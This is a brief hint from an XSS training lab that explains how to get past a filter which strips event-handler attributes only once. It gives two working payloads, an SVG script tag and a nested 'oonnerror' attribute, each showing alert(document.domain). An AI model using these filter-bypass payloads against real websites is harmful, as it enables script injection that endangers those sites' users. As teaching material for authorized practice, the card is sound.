Event handlers on...= are stripped once. Do not use one: <svg><script>alert(document.domain)</script></svg> (SVG script), or nest the match: <img src=x oonnerror=error=alert(document.domain)>.
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only